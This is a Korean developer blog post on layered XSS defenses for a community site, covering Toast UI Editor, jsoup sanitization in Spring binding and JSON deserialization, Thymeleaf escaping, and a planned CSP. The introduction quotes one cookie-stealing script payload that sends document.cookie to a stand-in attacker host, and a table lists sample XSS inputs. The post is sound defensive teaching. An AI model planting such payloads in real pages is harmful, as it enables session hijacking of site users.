XSS 공격 방지 처리

조용현·2026년 4월 1일

문제 해결

목록 보기
10/15

XSS란

XSS(Cross-Site Scripting)는 공격자가 게시글, 댓글, 닉네임 같은 입력 필드에 악성 스크립트를 삽입하고, 이것이 다른 사용자의 브라우저에서 실행되도록 만드는 공격입니다.

<!-- 공격자가 게시글 제목에 아래와 같이 입력한다면 -->
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

이 스크립트가 그대로 저장됐다가 다른 사용자가 게시글 목록을 조회할 때 실행되면, 로그인 쿠키가 탈취될 수 있습니다. 게시글, 댓글, 닉네임처럼 사용자 입력을 받아 화면에 출력하는 커뮤니티 서비스에서는 반드시 방어가 필요합니다.

XSS 방어는 여러 계층을 함께 적용하는 게 일반적입니다.

  1. 신뢰할 수 있는 에디터 — 입력 자체를 제한된 마크업만 생성하도록 유도
  2. HTML 정화 — 서버에서 위험한 태그/속성 제거
  3. 안전한 출력 — 뷰 렌더링 시 이스케이프 또는 제한적 HTML 렌더링
  4. CSP(Content Security Policy) — 브라우저에서 스크립트 실행 범위를 제한

현재 Popping에서는 1~3번 방어를 적용했고, CSP는 아직 적용하지 않았습니다. 따라서 입력 정화와 안전한 출력에 의존하는 구조이며, 브라우저 단계의 추가 방어선은 앞으로 보완할 여지가 있습니다.


1. 신뢰할 수 있는 에디터 — Toast UI Editor

게시글 작성 화면에서 일반 <textarea>를 사용하면 사용자가 HTML을 자유롭게 입력할 수 있습니다. Toast UI Editor를 적용하면 사용자는 일반적인 에디터 UI 경로에서는 마크다운 또는 WYSIWYG 도구모음을 통해 제한된 형태의 HTML을 작성하게 됩니다.

<!-- form.html -->
<link rel="stylesheet" href="https://uicdn.toast.com/editor/latest/toastui-editor.min.css" />
<script src="https://uicdn.toast.com/editor/latest/toastui-editor-all.min.js"></script>

<div id="memberEditor"></div>
<input type="hidden" name="content" id="memberContent" />
memberEditor = new toastui.Editor({
    el: document.getElementById('memberEditor'),
    height: '400px',
    initialEditType: 'wysiwyg',
    previewStyle: 'vertical',
    hooks: {
        addImageBlobHook: async (blob, callback) => {
            const imageUrl = await uploadImage(blob);
            callback(imageUrl, blob.name || 'image');
        }
    }
});

// 폼 제출 시 에디터 HTML을 hidden input에 주입
document.getElementById('memberForm').addEventListener('submit', function () {
    document.getElementById('memberContent').value = memberEditor.getHTML();
});

따라서 일반적인 사용 흐름에서는 <script>, onclick 같은 위험한 코드가 그대로 들어갈 가능성을 줄일 수 있습니다. 다만 공격자는 브라우저 에디터를 거치지 않고 직접 HTTP 요청을 조작할 수 있으므로, 에디터만으로 XSS를 막을 수는 없고 서버 측 정화가 반드시 뒤따라야 합니다.

이미지는 에디터의 addImageBlobHook을 통해 /images/upload API로 업로드되고, 반환된 URL만 <img src=""> 형태로 삽입됩니다. 따라서 일반적인 에디터 사용 흐름에서는 임의의 외부 URL이나 javascript: 프로토콜이 그대로 들어갈 가능성을 낮출 수 있습니다. 다만 직접 요청 조작까지 막아주는 것은 아니므로 서버 검증이 여전히 필요합니다.


2. HTML 정화 — jsoup HtmlSanitizer

에디터를 우회한 직접 HTTP 요청이나 댓글 같은 일반 텍스트 입력에 대비해 서버에서 한 번 더 정화합니다.

implementation 'org.jsoup:jsoup:1.16.1'
@Component
public class HtmlSanitizer {

    private static final Safelist CONTENT_SAFELIST = Safelist.relaxed()
            .addTags("img")
            .addAttributes("img", "src", "alt", "title")
            .addProtocols("img", "src", "http", "https");

    public String sanitize(String input) {
        if (input == null) return null;
        return Jsoup.clean(input, CONTENT_SAFELIST);
    }
}

Safelist.relaxed()<b>, <i>, <p>, <a> 같은 서식 태그는 허용하고, <script>, <iframe>, onclick 같은 위험한 요소는 제거하는 허용 목록입니다. <img>는 기본 허용 목록에 없어 직접 추가했고, http/https 프로토콜만 허용해 javascript: 우회도 차단했습니다.

입력출력
<script>alert('xss')</script>HelloHello
<p>내용</p><p>내용</p>
<img src="javascript:alert(1)">`` (제거됨)
<b>굵게</b> 텍스트<b>굵게</b> 텍스트

전역 적용 — GlobalBindingConfig

처음에는 @ControllerAdvice@InitBinder만 등록하면 모든 입력이 정화될 거라고 생각했습니다.

@ControllerAdvice
@RequiredArgsConstructor
public class GlobalBindingConfig {

    private final HtmlSanitizer htmlSanitizer;

    // 쿼리 파라미터, @RequestParam, @ModelAttribute (폼 데이터)
    @InitBinder
    public void initBinder(WebDataBinder binder) {
        binder.registerCustomEditor(String.class, new PropertyEditorSupport() {
            @Override
            public void setAsText(String text) {
                setValue(htmlSanitizer.sanitize(text));
            }
        });
    }
}

그런데 @InitBinder는 쿼리 파라미터, @RequestParam, @ModelAttribute 같은 폼 데이터에만 적용되고, @RequestBody로 들어오는 JSON은 Jackson이 역직렬화하기 때문에 @InitBinder를 거치지 않습니다. JSON으로 요청이 들어오면 정화가 전혀 되지 않는 문제가 있었습니다.

이를 해결하기 위해 Jackson의 커스텀 Deserializer를 추가했습니다.

    // @RequestBody JSON 역직렬화
    @Bean
    public Jackson2ObjectMapperBuilderCustomizer jackson2ObjectMapperBuilderCustomizer() {
        return builder -> {
            builder.deserializerByType(String.class, new HtmlSanitizingDeserializer(htmlSanitizer));
        };
    }
}

@RequiredArgsConstructor
public class HtmlSanitizingDeserializer extends JsonDeserializer<String> {

    private final HtmlSanitizer htmlSanitizer;

    @Override
    public String deserialize(JsonParser p, DeserializationContext ctxt) throws IOException {
        String value = p.getValueAsString();
        if (value == null) return null;
        return htmlSanitizer.sanitize(value);
    }
}

Jackson2ObjectMapperBuilderCustomizerString 타입 역직렬화 시 HtmlSanitizingDeserializer가 동작하도록 등록하면, JSON body의 모든 문자열 필드가 정화됩니다. 이 프로젝트 기준으로는 폼/쿼리 파라미터와 JSON body가 서로 다른 바인딩 경로를 타기 때문에, 두 경로를 각각 처리해야 입력 정화 범위를 보다 안정적으로 확보할 수 있었습니다.

게시글, 댓글, 닉네임처럼 사용자 입력이 곧 화면에 노출되는 커뮤니티 구조이기 때문에 전역 문자열 정화를 적용했습니다. 다만 일반 텍스트 원문 보존이나 코드 블록 보존이 더 중요한 서비스라면, 필드별로 적용 범위를 더 세밀하게 나누는 편이 적절할 수 있습니다.


3. 안전한 출력 — Thymeleaf 이스케이프

게시글 본문: th:utext

게시글 본문은 Toast UI Editor가 생성한 리치 HTML(<b>, <img>, <p> 등)을 렌더링해야 하므로 th:utext를 사용합니다. th:text로 바꾸면 태그가 문자열로 출력됩니다.

<!-- post/detail.html -->
<div class="post-content mt-6" th:utext="${post.content}">게시글 내용</div>

th:utext는 HTML을 이스케이프하지 않고 그대로 출력하기 때문에 서버 측 정화가 반드시 선행되어야 합니다. 이 프로젝트에서는 게시글 본문을 저장하기 전에 jsoup으로 정화하고 있으므로, th:utext는 서버가 허용한 HTML 범위 안에서 정제된 본문에 한해 제한적으로 사용했습니다.

그 외 출력: th:text

제목, 닉네임, 게시판 이름처럼 HTML 렌더링이 필요 없는 값은 모두 th:text로 출력합니다. th:text<, >, & 같은 특수문자를 자동으로 HTML 엔티티로 변환합니다.

<h1 th:text="${post.title}">제목</h1>
<span th:text="${post.authorName}">작성자</span>
<h3 th:text="${board.name}">게시판 이름</h3>

게시글 본문만 정화 후 제한적으로 HTML 렌더링하고, 나머지 텍스트는 기본 이스케이프를 적용하는 방식으로 구분했습니다.


4. CSP(Content Security Policy) — 미구현

CSP는 HTTP 응답 헤더로 브라우저에게 "이 페이지에서는 특정 출처의 스크립트만 실행 허용"이라고 지시하는 정책입니다. 앞선 방어를 우회해 악성 스크립트가 HTML에 삽입되더라도, 브라우저 단계에서 실행을 제한하는 추가 방어선이 될 수 있습니다.

Content-Security-Policy: default-src 'self'; script-src 'self' https://uicdn.toast.com https://cdn.tailwindcss.com

Spring Security에서는 아래처럼 설정할 수 있습니다.

http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives("default-src 'self'; script-src 'self' https://uicdn.toast.com https://cdn.tailwindcss.com")
    )
);

Popping은 현재 Toast UI Editor와 Tailwind CSS를 CDN에서 로드하고 있어 script-src에 외부 도메인 허용이 필요합니다. 또한 댓글 렌더링에 JS 템플릿 리터럴을 사용하고 있어 CSP를 바로 적용하기보다 먼저 프런트 스크립트 구조를 정리할 필요가 있었습니다. 이 때문에 CSP는 아직 적용하지 않았습니다.


방어 계층별 구현 현황

계층방법구현 여부
신뢰할 수 있는 에디터Toast UI Editor (WYSIWYG)
HTML 정화jsoup Safelist + GlobalBindingConfig
안전한 출력Thymeleaf th:text / 정화 후 th:utext
CSPSpring Security contentSecurityPolicy

전체 방어 흐름

사용자 입력
  │
  ├─ 게시글 본문: Toast UI Editor
  │    └─ 일반적인 UI 경로에서는 제한된 형태의 HTML 작성
  │
  ▼
서버 수신 (GlobalBindingConfig 자동 적용)
  ├─ 폼/쿼리파라미터 → @InitBinder → sanitize()
  └─ JSON Body      → HtmlSanitizingDeserializer → sanitize()
       └─ jsoup Safelist.relaxed()
          → <script> 제거, 이벤트 속성 제거, javascript: 프로토콜 차단
  │
  ▼
DB 저장 (정제된 데이터)
  │
  ▼
뷰 렌더링
  ├─ 게시글 본문: th:utext (정화 완료된 본문만 제한적으로 렌더링)
  └─ 제목/닉네임 등: th:text (자동 HTML 엔티티 이스케이프)
  │
  ▼
브라우저 출력
profile
백엔드 개발자

0개의 댓글